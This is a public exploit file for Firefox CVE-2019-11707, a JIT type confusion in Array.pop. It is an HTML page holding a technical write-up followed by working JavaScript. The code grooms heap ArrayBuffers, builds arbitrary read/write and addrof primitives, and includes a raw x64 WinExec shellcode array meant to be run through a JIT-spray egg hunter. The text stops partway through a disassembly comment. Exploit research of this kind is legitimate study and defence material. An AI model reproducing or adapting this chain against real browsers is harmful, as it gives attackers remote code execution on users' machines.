# Exploit Title: Mozilla Firefox 67 - Array.pop JIT Type Confusion
# Date: 2021-12-07
# Type: RCE
# Platform: Windows
# Exploit Author: deadlock (Forrest Orr)
# Author Homepage: https://forrest-orr.net
# Vendor Homepage: https://www.mozilla.org/en-US/
# Software Link: https://ftp.mozilla.org/pub/firefox/releases/65.0.1/win64/en-US/
# Version: Firefox 67.0.2 64-bit and earlier
# Tested on: Windows 10 x64
# CVE: CVE-2019-11707
# Bypasses: DEP, High Entropy ASLR, CFG
# Full Hydseven exploit chain with sandbox escape (CVE-2019-11708): https://github.com/forrest-orr/Exploits/tree/main/Chains/Hydseven
<html>
<head>
</head>
<body>
<script>
/*
_______ ___ ___ _______ _______ _______ _____ _______ _____ _____ _______ _______ _______
| _ | Y | _ |______| | _ | _ | _ |______| _ | _ | _ | _ | _ |
|. 1___|. | |. 1___|______|___| |. | |.| | | |______|.| |.| |___| |. | |___| |
|. |___|. | |. __)_ / ___/|. | `-|. |\___ | `-|. `-|. | / /|. | | / /
|: 1 |: 1 |: 1 | |: 1 \|: 1 | |: |: 1 | |: | |: | | | |: 1 | | |
|::.. . |\:.. ./|::.. . | |::.. . |::.. . | |::.|::.. . | |::.| |::.| | | |::.. . | | |
`-------' `---' `-------' `-------`-------' `---`-------' `---' `---' `---' `-------' `---'
Overview
This is a Windows variation of CVE-2019-11707, an exploit targetting a type
confusion bug in the Array.pop method during inlining/IonMonkey JIT compilation
of affected code in versions of Firefox up to 67.0.2.
Fundamentally this bug allows an attacker to trick IonMonkey into JIT'ing a
function popping and accessing an element of a specially crafted malicious
array without generating any speculative guards on the element type. In other
words, we can reliably produce an ASM routine for a JS function which is only
designed to handle array element access for a specific object type, while
allowing us to effectively modify the type of the element being accessed. Thus
a class object may be accessed as a float, a float as an integer, and so on.
The end result is a classic type confusion on the ASM layer which is leveraged
into an OOB array access, providing the basis for construction of R/W/AddressOf
primitives.
More specifically this bug allows for the creation of specially crafted malicious
arrays with a specific element type set. By creating a function which loops
through this malicious array and calls Array.pop on its elements, IonMonkey
can be made to JIT an ASM routine specifically optimized to only handle this
one specific type of array element. The bug comes into affect in the unique
edge case of an object prototype: when Array.pop attempts to access an element
at an index which does not exist (such as in a sparse array) it will then make
a secondary, fall-back attempt to access this element index on the prototype
of its associated array. This would not be an issue if IonMonkey tracked
modifications to the type sets of prototype elements but it does not.
...
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
...
This was the vulnerable piece of code in IonMonkey which enabled the bug. It
can be plainly seen that they did attempt to check types of indexed elements
on array prototypes but did so incorrectly: every array will by default have a
special ArrayPrototype object associated with it. However, we do not need to
leave this default layout intact. We can set a custom prototype on our
malicious array (this custom prototype itself being an array) and trick the
engine into checking the ArrayPrototype of our custom prototype for indexed
elements instead of the custom prototype which contains the malicious untracked
elements. Practically speaking:
var SparseTrapdoorArray = [BugArrayUint32, BugArrayUint32];
This will produce:
SparseTrapdoorArray -> ArrayPrototype
Now if a new array is created and set as the custom prototype of
SparseTrapdoorArray:
var CustomPrototype = [new Uint8Array(BugArrayBuf)];
SparseTrapdoorArray.__proto__ = CustomPrototype;
This will produce:
SparseTrapdoorArray -> CustomPrototype -> ArrayPrototype
Thus an element access on a non-existent element of SparseTrapdoorArray will
access this same index on CustomPrototype instead, and it will be the
ArrayPrototype of CustomPrototype which is checked by IonMonkey during
inlining, not the actual prototype of the SparseTrapdoorArray array ie. the
CustomPrototype. If SparseTrapdoorArray[0] were to not exist and be accessed,
it would result in an access to the Uint8Array element at CustomPrototype[0]
despite the JIT'd function being optimized for access to Uint32Array at
SparseTrapdoorArray[0].
~
Design
I created the exploit primitives for CVE-2019-11707 in much the same way as I
did CVE-2019-17026: the heap is groomed so that 3 objects are lined up
in memory. In this case they are ArrayBuffers.
[ArrayBuffer 1][ArrayBuffer 2][ArrayBuffer 3]
We use the bug to overflow array 1 and corrupt the ArrayBuffer of array 2,
artificially augmenting its length to encompass the NativeObject of array 3.
From this point onward, array 2 is used to corrupt the slots pointer within the
NativeObject of array 3 to do arbitrary reads, writes and addrof.
Once these primitives are obtained, a JIT spray is used to plant an egg hunter
shellcode in +RX memory within the firefox.exe content process being hijacked.
The ASM source for my egg hunter can be found here:
https://github.com/forrest-orr/Exploits/blob/main/Payloads/Source/DoubleStar/Stage1_EggHunter/Egghunter64.asm
The role of this egg hunter is to search out a magic QWORD in memory prefixing
an arbitrary shellcode (in this case a WinExec shellcode) stored as a
Uint8Array somewhere in this content process, disable DEP on it, and execute
it via a branch instruction.
The JIT code pointer of the JIT sprayed function is identified by using the
arbitrary read/addrof primitives to walk its JitInfo struct, and then a
secondary egg hunter within the JS itself is used to scan this JIT'd region for
the JIT sprayed egg hunter shellcode itself, stored as a double float array and
implanted at the end of the JIT'd ASM. Once this array is found, the JIT code
pointer is modified to point to it, and the JIT sprayed function is run one
last time, resulting in the WinExec shellcode being found in memory, set to
executable and executed.
~
Sandboxing
The lineage of the Firefox application involves a Medium Integrity AppContainer
firefox.exe "parent" process which is responsible for making network
connections and handling the UI, with a set of Low Integrity child/content
firefox.exe processes beneath it, each locked to a specific domain (in the past
it was one process per tab, now its one process per site) and responsible for
parsing and potentially compiling/executing Javascript.
The exploit in this source file is only able to compromise the child/content
process. These processes are heavily sandboxed, and are not able to make network
connections, perform (almost) any file I/O, launch processes, or affect the UI.
This means that by default, neither WinExec or MessageBox shellcodes will work
in this exploit.
For an example of how the child/content process sandbox may be escaped via a
secondary exploit, see either my Hydseven or Double Star exploit chains:
https://github.com/forrest-orr/Exploits/tree/main/Chains/Hydseven
https://github.com/forrest-orr/DoubleStar
In the case of this standalone exploit, in order to be able to see the affect
of a successful payload execution post-exploitation, you must adjust the
security.sandbox.content.level in the "about:config" down from 5 to atleast 2.
~
Credits
0vercl0k - for the original research/analysis of CVE-2019-11708 and reverse
engineering of xul.dll for "god mode" patching.
sherl0ck - for his writeup on CVE-2019-11707.
*/
////////
////////
// Global helpers/settings
////////
const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x90, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0x90, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x90, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0xea, 0x6f, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xa1, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00, 0x51, 0x48, 0xb9, 0x57, 0x53, 0x5c, 0x6e, 0x6f, 0x74, 0x65, 0x70, 0x51, 0x48, 0xb9, 0x43, 0x3a, 0x5c, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xae, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xda, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x97, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x2f, 0x80, 0xfa, 0x2e, 0x75, 0x20, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0xeb, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xd3, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xc9, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x47, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x82, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe0, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3, ]);
var JITIterations = 10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I've tested.
var HelperBuf = new ArrayBuffer(8);
var HelperDbl = new Float64Array(HelperBuf);
var HelperDword = new Uint32Array(HelperBuf);
var HelperWord = new Uint16Array(HelperBuf);
var OverflowArrays = []
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20)); // <- Overflow from here
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
OverflowArrays.push(new ArrayBuffer(0x20));
var BugArrayBuf = OverflowArrays[5];
var CorruptedArrayBuf = OverflowArrays[6];
var MutableArray = OverflowArrays[7];
var BugArrayUint32 = new Uint32Array(BugArrayBuf);
var SparseTrapdoorArray = [BugArrayUint32, BugArrayUint32];
////////
////////
// Debug/timer code
////////
const EnableDebug = false;
const EnableTimers = false;
const AlertOutput = true;
var TimeStart;
var ReadCount;
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
/*//////
////////
// JIT bug logic/initialization
////////
What follows is the machine code generated by IonMonkey for the bugged JS function.
0000014FA8BC7CA0 | 48:83EC 20 | sub rsp,20 |
0000014FA8BC7CA4 | 48:8B4424 40 | mov rax,qword ptr ss:[rsp+40] |
0000014FA8BC7CA9 | 48:C1E8 2F | shr rax,2F |
0000014FA8BC7CAD | 3D F3FF0100 | cmp eax,1FFF3 |
0000014FA8BC7CB2 | 0F85 E3020000 | jne 14FA8BC7F9B |
0000014FA8BC7CB8 | 48:8B4424 48 | mov rax,qword ptr ss:[rsp+48] |
0000014FA8BC7CBD | 48:C1E8 2F | shr rax,2F |
0000014FA8BC7CC1 | 3D F1FF0100 | cmp eax,1FFF1 |
0000014FA8BC7CC6 | 0F85 CF020000 | jne 14FA8BC7F9B |
0000014FA8BC7CCC | E9 04000000 | jmp 14FA8BC7CD5 |
0000014FA8BC7CD1 | 48:83EC 20 | sub rsp,20 |
0000014FA8BC7CD5 | 49:BB 785F225A7F000000 | mov r11,7F5A225F78 |
...
0000014FA8BC7EBC | 49:8961 70 | mov qword ptr ds:[r9+70],rsp |
0000014FA8BC7EC0 | 6A 00 | push 0 |
0000014FA8BC7EC2 | 4C:8BCC | mov r9,rsp |
0000014FA8BC7EC5 | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
0000014FA8BC7EC9 | 41:51 | push r9 |
0000014FA8BC7ECB | 48:83EC 28 | sub rsp,28 |
0000014FA8BC7ECF | E8 4C020000 | call 14FA8BC8120 |
0000014FA8BC7ED4 | 48:83C4 28 | add rsp,28 |
0000014FA8BC7ED8 | 5C | pop rsp |
0000014FA8BC7ED9 | A8 FF | test al,FF |
0000014FA8BC7EDB | 0F84 2F020000 | je 14FA8BC8110 |
0000014FA8BC7EE1 | 48:8B4C24 20 | mov rcx,qword ptr ss:[rsp+20] |
0000014FA8BC7EE6 | 0FAEE8 | lfence |
0000014FA8BC7EE9 | 48:83C4 28 | add rsp,28 |
0000014FA8BC7EED | 4C:8BD9 | mov r11,rcx |
0000014FA8BC7EF0 | 49:C1EB 2F | shr r11,2F |
0000014FA8BC7EF4 | 41:81FB FCFF0100 | cmp r11d,1FFFC |
0000014FA8BC7EFB | 0F85 E5010000 | jne 14FA8BC80E6 |
0000014FA8BC7F01 | 48:B8 000000000000FEFF | mov rax,FFFE000000000000 |
0000014FA8BC7F0B | 48:33C1 | xor rax,rcx |
0000014FA8BC7F0E | 33D2 | xor edx,edx |
0000014FA8BC7F10 | 49:BB F02DB75C7F000000 | mov r11,7F5CB72DF0 |
0000014FA8BC7F1A | 4C:3918 | cmp qword ptr ds:[rax],r11 |
0000014FA8BC7F1D | 0F85 CA010000 | jne 14FA8BC80ED |
0000014FA8BC7F23 | 48:0F45C2 | cmovne rax,rdx |
0000014FA8BC7F27 | 8B48 28 | mov ecx,dword ptr ds:[rax+28] |
0000014FA8BC7F2A | 48:8B40 38 | mov rax,qword ptr ds:[rax+38] |
0000014FA8BC7F2E | 8B5424 1C | mov edx,dword ptr ss:[rsp+1C] |
0000014FA8BC7F32 | 45:33DB | xor r11d,r11d |
0000014FA8BC7F35 | 3BD1 | cmp edx,ecx |
0000014FA8BC7F37 | 0F83 0B000000 | jae 14FA8BC7F48 |
0000014FA8BC7F3D | 41:0F43D3 | cmovae edx,r11d |
0000014FA8BC7F41 | C70490 80000000 | mov dword ptr ds:[rax+rdx*4],80 | <- Type confusion: IonMonkey JIT'd an index access for Uint32Array with a DWORD operand. By confusing the type with Uint8Array we can pass the boundscheck and corrupt 32-bits out of bounds with the SIB of this instruction
0000014FA8BC7F48 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000 |
0000014FA8BC7F52 | 33C0 | xor eax,eax |
0000014FA8BC7F54 | 8B5424 1C | mov edx,dword ptr ss:[rsp+1C] |
0000014FA8BC7F58 | 49:BB 545F225A7F000000 | mov r11,7F5A225F54 |
0000014FA8BC7F62 | 41:833B 00 | cmp dword ptr ds:[r11],0 |
0000014FA8BC7F66 | 0F85 88010000 | jne 14FA8BC80F4 |
0000014FA8BC7F6C | 3D 00000100 | cmp eax,10000 |
0000014FA8BC7F71 | 0F8D 05000000 | jge 14FA8BC7F7C |
0000014FA8BC7F77 | 83C0 01 | add eax,1 |
0000014FA8BC7F7A | EB DC | jmp 14FA8BC7F58 |
0000014FA8BC7F7C | 48:83C4 20 | add rsp,20 |
0000014FA8BC7F80 | C3 | ret |
*/
function BuggedJITFunc(Index) {
if (SparseTrapdoorArray.length == 0) {
SparseTrapdoorArray[1] = BugArrayUint32; // Convert target array to a sparse array, being careful to preserve the type set: if it were to change, IonMonkey will de-optimize this function back to bytecode
}
const Uint32Obj = SparseTrapdoorArray.pop();
Uint32Obj[Index] = 0x80; // This will be an OOB index access which will fail its boundscheck prior to being confused with a Uint8Array
for (var i = 0; i < JITIterations; i++) {} // JIT compile this function
}
var CustomPrototype = [new Uint8Array(BugArrayBuf)]; // When IonMonkey JITs the bug function it will not check the type set of this custom prototype, only its ArrayPrototype. Only one element is needed since the sparse array access will be at index 0
SparseTrapdoorArray.__proto__ = CustomPrototype;
// In theory only 3 should be needed but it never works with 3, always works with 4.
for (var i = 0; i < 4; i++) { // The function JITs itself, this iteration count is what is required to empty out the array, make it sparse, and then make the type confusion access
BuggedJITFunc(18); // 18*4 = 0x48: CorruptedArray.NativeObject.SlotsPtr
/*
ArrayBuffer in memory:
+-> group +->shape
| |
0x7f8e13a88280: 0x00007f8e13a798e0 0x00007f8e13aa1768
+-> slots +->elements (Empty in this case)
| |
0x7f8e13a88290: 0x0000000000000000 0x000055d6ee8ead80
+-> Shifted pointer
| pointing to +-> size in bytes of the data buffer
| data buffer |
0x7f8e13a882a0: 0x00003fc709d44160 0xfff8800000000020
+-> Pointer
| pointing to +-> flags
| first view |
0x7f8e13a882b0: 0xfffe7f8e15e00480 0xfff8800000000000
*/
}
// Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful.
MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double
MutableArray.y = 0x41414141;
MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double
var CorruptedClone = new Uint8Array(OverflowArrays[6]);
function LeakSlotsPtr() {
var SavedSlotsPtrBytes = CorruptedClone.slice(0x30, 0x38);
var LeakedSlotsPtrDbl = new Float64Array(SavedSlotsPtrBytes.buffer);
return LeakedSlotsPtrDbl;
}
function SetSlotsPtr(NewSlotsPtrDbl) {
HelperDbl[0] = NewSlotsPtrDbl;
for(var i = 0; i < 8; i++) {
var Temp = new Uint8Array(HelperBuf);
CorruptedClone[0x30 + i] = Temp[i];
}
}
/*//////
////////
// Exploit primitives
///////*/
function WeakLeakDbl(TargetAddress) {
var SavedSlotsPtrDbl = LeakSlotsPtr();
SetSlotsPtr(TargetAddress);
var LeakedDbl = MutableArray.x;
SetSlotsPtr(SavedSlotsPtrDbl);
return LeakedDbl;
}
function WeakWriteDbl(TargetAddress, Val) {
var SavedSlotsPtrDbl = LeakSlotsPtr();
SetSlotsPtr(TargetAddress);
MutableArray.x = Val;
SetSlotsPtr(SavedSlotsPtrDbl);
}
function WeakLeakObjectAddress(Obj) {
// x y z
// MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????]
MutableArray.y = Obj;
// x y z
// MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????]
var SavedSlotsPtrDbl = LeakSlotsPtr();
HelperDbl[0] = SavedSlotsPtrDbl;
HelperDword[0] = HelperDword[0] + 4;
SetSlotsPtr(HelperDbl[0]);
// Patch together a double of the target object address from the two 32-bit property values
HelperDbl[0] = MutableArray.x;
var LeakedLow = HelperDword[1];
HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues)
var LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits
SetSlotsPtr(SavedSlotsPtrDbl);
HelperDword[0] = LeakedLow;
HelperDword[1] = LeakedHigh;
return HelperDbl[0];
}
var ExplicitDwordArray = new Uint32Array(1);
var ExplicitDwordArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read
var ExplicitDblArray = new Float64Array(1);
var ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read
function InitStrongRWPrimitive() {
// Leak data view pointers from the typed arrays
HelperDbl[0] = WeakLeakObjectAddress(ExplicitDblArray);
HelperDword[0] = HelperDword[0] + 0x38; // Float64Array data view pointer (same as ArrayBuffer)
ExplicitDblArrayDataPtr = HelperDbl[0];
HelperDbl[0] = WeakLeakObjectAddress(ExplicitDwordArray);
HelperDword[0] = HelperDword[0] + 0x38; // Uint32Array data view pointer (same as ArrayBuffer)
ExplicitDwordArrayDataPtr = HelperDbl[0];
HelperDbl[0] = WeakLeakDbl(HelperDbl[0]); // In the event initialization failed, the first read will return the initial marker data in the x y and z slots of the MutableArray
if(HelperDword[0] == 0x41414141) {
DebugLog("Arbitrary read primitive failed");
window.location.reload();
return 0.0;
}
}
function StrongLeakDbl(TargetAddress) {
WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress);
return ExplicitDblArray[0];
}
function StrongWriteDword(TargetAddress, Value) {
WeakWriteDbl(ExplicitDwordArrayDataPtr, TargetAddress);
ExplicitDwordArray[0] = Value;
}
function StrongLeakDword(TargetAddress){
WeakWriteDbl(ExplicitDwordArrayDataPtr, TargetAddress);
return ExplicitDwordArray[0];
}
function GetJSFuncJITInfoPtr(JSFuncObj) {
HelperDbl[0] = WeakLeakObjectAddress(JSFuncObj); // The JSFunction object address associated with the (now JIT compiled) shellcode data.
HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct.
var JITInfoAddress = WeakLeakDbl(HelperDbl[0]);
return JITInfoAddress;
}
function GetJSFuncJITCodePtr(JSFuncObj) {
var JITInfoAddress = GetJSFuncJITInfoPtr(JSFuncObj);
if(JITInfoAddress) {
var JITCodePtr = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct)
return JITCodePtr;
}
return 0.0;
}
/*//////
////////
// JIT spray/egghunter shellcode logic
////////
JIT spray in modern Firefox 64-bit on Windows seems to behave very differently
when a special threshold of 100 double float constants are planted into a single
function and JIT sprayed. When more than 100 are implanted, the JIT code pointer
for the JIT sprayed function will look as follows:
00000087EB6F5280 | E9 23000000 | jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here
00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000
00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160]
00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp
00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0
00000087EB6F52A8 | 55 | push rbp
00000087EB6F52A9 | 48:8BEC | mov rbp,rsp
00000087EB6F52AC | 48:83EC 48 | sub rsp,48
00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0
...
00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX
00000087EB6F5341 | 53 | push rbx
00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8
00000087EB6F534C | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F534F | FF17 | call qword ptr ds:[rdi]
00000087EB6F5351 | 48:83C4 08 | add rsp,8
00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040
00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8
00000087EB6F5369 | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F536C | FF17 | call qword ptr ds:[rdi]
00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090
00000087EB6F5378 | 53 | push rbx
00000087EB6F5379 | 49:BB F810EAFCF1000000 | mov r11,F1FCEA10F8
00000087EB6F5383 | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F5386 | FF17 | call qword ptr ds:[rdi]
00000087EB6F5388 | 48:83C4 08 | add rsp,8
00000087EB6F538C | 48:B9 40807975083D0000 | mov rcx,3D0875798040
00000087EB6F5396 | 49:BB 0811EAFCF1000000 | mov r11,F1FCEA1108
00000087EB6F53A0 | 49:8B3B | mov rdi,qword ptr ds:[r11]
00000087EB6F53A3 | FF17 | call qword ptr ds:[rdi]
...
Rather than implanting the double float constants into the JIT'd code region as
an array of raw constant data, the JIT engine has created a (very large) quantity
of code which manually handles each individual double float one by one (this code
goes on much further than I have pasted here). You can see this at:
00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141
This is the first double float 5.40900888e-315 (the stage one shellcode egg)
being loaded into RBX, where each subsequent double is treated the same.
In contrast, any JIT sprayed function with less than 100 double floats yields
a substantially different region of code at its JIT code pointer:
000002C6944D4470 | 48:8B4424 20 | mov rax,qword ptr ss:[rsp+20] <- JIT code pointer for JIT sprayed function points here
000002C6944D4475 | 48:C1E8 2F | shr rax,2F
000002C6944D4479 | 3D F3FF0100 | cmp eax,1FFF3
000002C6944D447E | 0F85 A4060000 | jne 2C6944D4B28
...
000002C6944D4ACB | F2:0F1180 C00A0000 | movsd qword ptr ds:[rax+AC0],xmm0
000002C6944D4AD3 | F2:0F1005 6D030000 | movsd xmm0,qword ptr ds:[2C6944D4E48]
000002C6944D4ADB | F2:0F1180 C80A0000 | movsd qword ptr ds:[rax+AC8],xmm0
000002C6944D4AE3 | F2:0F1005 65030000 | movsd xmm0,qword ptr ds:[2C6944D4E50]
000002C6944D4AEB | F2:0F1180 D00A0000 | movsd qword ptr ds:[rax+AD0],xmm0
000002C6944D4AF3 | F2:0F1005 5D030000 | movsd xmm0,qword ptr ds:[2C6944D4E58]
000002C6944D4AFB | F2:0F1180 D80A0000 | movsd qword ptr ds:[rax+AD8],xmm0
000002C6944D4B03 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000
000002C6944D4B0D | C3 | ret
000002C6944D4B0E | 90 | nop
000002C6944D4B0F | 90 | nop
000002C6944D4B10 | 90 | nop
000002C6944D4B11 | 90 | nop
000002C6944D4B12 | 90 | nop
000002C6944D4B13 | 90 | nop
000002C6944D4B14 | 90 | nop
000002C6944D4B15 | 90 | nop
000002C6944D4B16 | 49:BB 30B14E5825000000 | mov r11,25584EB130
000002C6944D4B20 | 41:53 | push r11
